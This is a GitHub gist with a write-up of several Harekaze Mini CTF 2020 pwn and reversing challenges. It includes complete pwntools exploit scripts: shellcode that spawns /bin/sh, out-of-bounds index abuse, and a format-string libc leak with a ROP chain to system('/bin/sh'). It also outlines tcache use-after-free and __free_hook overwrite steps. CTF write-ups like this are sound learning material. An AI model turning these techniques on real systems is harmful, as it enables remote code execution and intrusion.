Skip to content

Instantly share code, notes, and snippets.

@DtxdF
Forked from x0nu11byt3/harekaze_mini_ctf_2020.md
Created March 2, 2021 00:35
Show Gist options
  • Select an option

  • Save DtxdF/241da59b4ee28f7b4857ea599e4680b9 to your computer and use it in GitHub Desktop.

Select an option

Save DtxdF/241da59b4ee28f7b4857ea599e4680b9 to your computer and use it in GitHub Desktop.

Revisions

  1. @farazsth98 farazsth98 revised this gist Dec 27, 2020. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions harekaze_mini_ctf_2020.md
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,5 @@
    I played Harekaze Mini CTF 2020 for about 3 hours this weekend. The pwn challenges were nice (I especially enjoyed `nm-game-extreme`). Here are some short writeups.

    # shellcode

    The program just tells you to provide shellcode that will execute `execve("/bin/sh", NULL, NULL)`. It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:
  2. @farazsth98 farazsth98 created this gist Dec 27, 2020.
    385 changes: 385 additions & 0 deletions harekaze_mini_ctf_2020.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,385 @@
    # shellcode

    The program just tells you to provide shellcode that will execute `execve("/bin/sh", NULL, NULL)`. It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:

    ```python
    #!/usr/bin/env python3

    from pwn import *

    context.arch = "amd64"

    p = remote("20.48.83.165", 20005)

    bin_sh = 0x404060

    sc = asm(r"""
    mov rdi, {}
    mov rsi, 0
    mov rdx, 0
    mov rax, 0x3b
    syscall
    """.format(bin_sh))

    p.sendlineafter(")\n", sc)

    p.interactive()
    ```

    # nm-game-extreme

    This was a pretty unique challenge in my opinion.

    ## Vulnerability

    The bug is in the main function:

    ```c
    int main(void) {
    // [...] Variable declarations

    puts("Be the last to take a pebble!");

    int remaining_games = GAMES;
    while (remaining_games) {
    puts("Creating a new problem...");
    sleep(1);

    int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1);
    init_game(nums, n);
    bool won = false;
    while (!is_finished(nums, n)) {
    print_state(nums, n);

    int index;
    if (n == 1) {
    index = 0;
    } else {
    do {
    printf("Choose a heap [0-%d]: ", n - 1);
    scanf("%d", &index); // [ 1 ]
    } while (nums[index] == 0);
    }
    // [ ... ]
    }
    // [ ... ]
    }
    // [ ... ] Print flag
    }
    ```
    Initially, `n` will be 1, so the first branch will be taken in the `if` statement. If we win the first round, then `n` will be 2, and we will be able to "Choose a heap". When choosing a heap, we pick an index that is not bounds checked at `[ 1 ]`.
    This index is later accessed when choosing pebbles to take:
    ```c
    do {
    printf("How many pebbles do you want to take? ");
    if (nums[index] > 1) {
    printf("[1-%d]: ", min(3, nums[index]));
    } else {
    printf("[1]: ");
    }
    scanf("%d", &choice);
    } while (choice < 1 || min(3, nums[index]) < choice);
    nums[index] -= choice; // [ 1 ]
    if (is_finished(nums, n)) {
    won = true;
    break;
    }
    opponent_action(nums, n, &index, &choice);
    printf("The opponent took %d from %d\n", choice, index);
    nums[index] -= choice;
    ```

    At `[ 1 ]`, whatever value is at that index (that we control) will be subtracted by `choice` (which we also control, but can be a max of `3`). The opponent's index is sanitized in `opponent_action`, so the opponent won't affect our choice of index.

    ## Exploitation

    For exploitation, our objective is to win the game enough times to set `remaining_games` to 0 so that the main `while` loop will exit and print out the flag. Unfortunately there is a timeout of 5 minutes, and it's impossible to win the game 400 times in 5 minutes without cheating.

    We need to use the bug, and in order to use the bug we have to win the first round. I came up with a naive solution that wins the first round ***most of the time***. It won't win every time so if you want to run my exploit, maybe run it a few times (the success rate is high though).

    Once we win the first round, we trigger the bug many times to keep subtracting 3 from `remaining_games` until it gets set to 6. Once its set to 6, we manually subtract 5 from it to set it to 1. Then, we win the game by subtracting 15 from `n` (using the same bug) which will cause `is_finished` to return true, which will make us win.

    **Note: I found that `remaining_games` is at index -4, and `n` is at index -3 through GDB.**

    ```python
    #!/usr/bin/env python3

    from pwn import *

    #p = process("./nmgameex")
    p = remote("20.48.84.13", 20003)

    n_idx = -3
    rem_idx = -4

    # First round
    def get_problem():
    p.recvline()
    problem = int(p.recvline())
    return problem

    # Second round and onwards
    def get_problems(new_round=False):
    if not new_round:
    p.recvline()
    else:
    p.recvuntil("problem...\n")

    problems = p.recvline(timeout=3).strip().split(b" ")
    problem_nums = []

    for n in problems:
    problem_nums.append(int(n))

    return problem_nums

    # Win the first round (most of the time...)
    def first_round():
    p.recvuntil("problem...\n")

    problem = int(p.recvline(timeout=3))

    while problem > 7:
    p.sendlineafter(": ", "1")
    problem = get_problem()

    if problem == 7:
    p.sendlineafter(": ", "3")
    elif problem == 6:
    p.sendlineafter(": ", "2")
    elif problem == 5:
    p.sendlineafter(": ", "1")

    problem = get_problem()
    p.sendlineafter(": ", str(problem))

    def other_rounds():
    problems = get_problems(new_round=True)
    remaining_games = 399

    keep_looping = True

    # Loop and keep subtracting 3 from remaining_games until its less than 10
    while keep_looping:
    # Subtract remaining_games
    p.sendlineafter(": ", str(rem_idx))
    p.sendlineafter(": ", "3")
    remaining_games -= 3

    if remaining_games < 9:
    keep_looping = False
    break

    log.info("Remaining games: " + str(remaining_games))

    log.info("First round...")
    first_round()
    log.info("Won first round")

    log.info("Getting flag")
    other_rounds()

    # Right now, remaining_games == 6
    # Subtract 5 from remaining_games to set it to 1
    p.sendlineafter(": ", str(rem_idx))
    p.sendlineafter(": ", "3")
    p.sendlineafter(": ", str(rem_idx))
    p.sendlineafter(": ", "2")

    # Subtract 15 from `n` to end the game, remaining_games gets set to 0
    for i in range(5):
    p.sendlineafter(": ", str(n_idx))
    p.sendlineafter(": ", "3")

    # The flag is printed to the screen
    p.interactive()
    ```

    # kodama

    In this challenge we are allowed to trigger a format string vulnerability twice.

    My idea for exploitation is to use the first format string to leak a stack address, then use the second format string to overwrite the loop index `i` to a large negative number. This will give us infinite tries to trigger the format string vulnerability.

    Next, I leak a libc address from the stack, and then overwrite past `main`'s return address with a ROP chain that will call `system("/bin/sh")`:

    ```python
    #!/usr/bin/env python3

    from pwn import *

    elf = ELF("./kodama")
    libc = ELF("./libc.so.6")
    #p = process("./kodama", env={"LD_PRELOAD": "./libc.so.6"})
    p = remote("20.48.81.63", 20002)

    # Receive the initial output from remote
    sleep(1)
    for i in range(9):
    p.recvline()

    # Payload used to leak if needed
    leak_payload = "%p %p %p %p %p %p %p %p %p %p %p"

    # Leak stack address of our input buffer
    p.sendline("%4$p")

    # Get addresses of other stack stuff
    stack_buf = int(p.recvline(), 16)
    ret_addr = stack_buf + 0x38
    loop_idx = stack_buf - 4

    log.info("Stack buffer: " + hex(stack_buf))
    log.info("Loop idx: " + hex(loop_idx))

    # Overwrite loop idx to large negative number by overwriting MSB
    # Our input starts at format idx 8
    payload = b"%239c%10$hhn...." # pad to 16 bytes
    payload += p64(loop_idx+3)

    p.sendline(payload)

    # Infinite format string now, should be easy?

    # Clear the screen (kind of..)
    p.sendline("")
    p.recvline()

    # Get libc leak
    p.sendline("%3$p")
    libc_leak = int(p.recvline(), 16)
    libc.address = libc_leak - 0x108cb2
    free_hook = libc.sym["__free_hook"]
    system = libc.sym["system"]
    pop_rdi = libc.address + 0x2858f
    bin_sh = next(libc.search(b"/bin/sh"))

    log.info("Libc leak: " + hex(libc_leak))
    log.info("Libc base: " + hex(libc.address))

    # Arbitrary write, one byte at a time
    def arb_write(addr, val):
    log.info("Writing {} to {}".format(hex(val), hex(addr)))

    # We don't have to write the upper two bytes since they're always 0
    bytes_to_write = [
    val & 0xff,
    (val >> 8) & 0xff,
    (val >> 16) & 0xff,
    (val >> 24) & 0xff,
    (val >> 32) & 0xff,
    (val >> 40) & 0xff
    ]

    for i in range(6):
    payload = b"%" + bytes(str(bytes_to_write[i]), 'ascii') + b"c%10$hhn"
    payload = payload.ljust(16, b".")
    payload += p64(addr+i)

    p.sendline(payload)

    # Put ropchain on stack to call system("/bin/sh")
    arb_write(ret_addr, pop_rdi)
    arb_write(ret_addr+8, bin_sh)
    arb_write(ret_addr+16, pop_rdi+1)
    arb_write(ret_addr+24, system)

    # Overwrite loop_idx to 4 to exit the loop
    arb_write(loop_idx, 4)

    p.interactive()
    ```

    # safe-note

    I didn't have time to solve this challenge, but I spent 10-15 minutes to find the bug. The following are the steps to solving (I might miss a thing or two because I didn't write a solve script).

    ## Functionality

    The program will let you `allocate` a maximum of 7 notes (at a time) that are stored in a global array of notes. You specify a `size` (minimum 1, maximum 0x70), and then `size-1` bytes will be read into the allocated buffer (i.e there is always a NULL byte at the end). The size is stored with the note.

    You can `show` a note. This will call `puts` on the note's contents to print them.

    You can `move` a note. This will move one note's contents into another. It will `free` the source note and set its index in the global note array to `NULL`.

    You can `copy` a note. This is the same as a `move`, except the source note is left untouched.

    ## Vulnerability

    The bug is that you can choose the same note for both the source and destination in `move`. This will free the note but keep a pointer to it in the global notes array which lets you achieve UAF (you have to bypass 2.32 pointer obfuscation, but its easy to get the XOR key by freeing a note and then showing it).

    ## Exploitation

    1. Use the UAF to first get access to the tcache XOR key in order to control the `fd` of a chunk correctly.

    2. Free another chunk and use the UAF to leak a heap address so we know where we are in the heap.

    3. Use tcache dup to get one chunk overlapped on another chunk's `size`. Overwrite size to something > 0x90 (lets say we overwrite with `0xa1`)

    4. Remember to have fake `size` and `prevsize` headers `0xa0` bytes after this corrupted chunk.

    5. Create another chunk (call it the `NULL` chunk) which will have the contents set to `p64(0) + p64(0)`. The idea now is to free this `0xa1` sized chunk 7 times to fill up the tcache bin. Each time you free it, you need to copy the contents of the `NULL` chunk into the `0xa1` sized chunk to clear the tcache `key` (otherwise a double free is detected).

    6. After the 7th free, free it one more time to send it to the unsorted bin. This will insert a libc address into the `fd` and `bk` fields. The problem is in libc 2.32, unsorted bin address's LSB is `\x00`, so we can't `show` to leak (`puts` will stop at `NULL` bytes).
    1. To get the leak, we need to set up the global notes array so that two indices will have a pointer to the same chunk, but size will be set to `1` and `2` respectively for each index.
    2. Using the index with `size == 2`, we read in one byte (using the `allocate` function, reading `size-1` bytes). Let's say we read in an `A`.
    3. Next, we copy from the index with `size == 1` into our `0xa1` sized chunk. This will overwrite the LSB of the unsorted bin address leak to `0x41`.
    4. Finally, we can `show` to get the leak.

    7. Once we have the leak, just tcache dup again to overwrite `__free_hook` to `system` and get a shell. You will have to fix the unsorted bin first by overwriting the LSB back to `\x00`, but that's easy to do.

    # easy-flag-checker

    The program has a fake flag set to `"fakeflag{this_is_not_the_real_flag}"`. It also has a table of values in the bss segment. It does the following:

    ```c
    __int64 __fastcall check(__int64 my_flag, __int64 fake_flag)
    {
    char result; // [rsp+1Bh] [rbp-5h]
    int i; // [rsp+1Ch] [rbp-4h]

    for ( i = 0; i <= 34; ++i )
    {
    // fake_flag == "fakeflag{this_is_not_the_real_flag}"
    result = (funcs[i % 3])(*(i + fake_flag), table[i]);
    if ( result < *(i + my_flag) )
    return 1LL;
    if ( result > *(i + my_flag) )
    return 0xFFFFFFFFLL;
    }
    return 0LL;
    }
    ```
    `funcs` is a function table where indices `0`, `1`, and `2` are `add`, `sub`, and `xor` respectively. So it will take each byte in the fake flag, and either add, subtract, or xor the corresponding value from the table. It will then ensure that our flag's character matches the result exactly. One thing not visible is that after the operation is done, it will also bitwise AND the result with `0xff` to get only the lowest byte.
    The solve script then becomes:
    ```python
    #!/usr/bin/env python3
    table = [
    226, 0, 25, 0, 251, 13, 25, 2, 56, 224, 34, 18,
    189, 237, 29, 245, 247, 10, 193, 252, 0, 242,
    252, 81, 8, 19, 6, 7, 57, 60, 5, 57, 19, 186, 0
    ]
    fakeflag = b"fakeflag{this_is_not_the_real_flag}"
    flag = ""
    for i in range(len(fakeflag)):
    if i % 3 == 0:
    flag += chr((fakeflag[i] + table[i]) & 0xff)
    elif i % 3 == 1:
    flag += chr((fakeflag[i] - table[i]) & 0xff)
    elif i % 3 == 2:
    flag += chr((fakeflag[i] ^ table[i]) & 0xff)
    print(flag)
    ```

    This prints `HarekazeCTF{0rthhd0x_fl4g_ch3ck3r!}`, which is incorrect. It should be `0rth0d0x`, not `0rthhd0x`, so I just manually fixed that by inspection.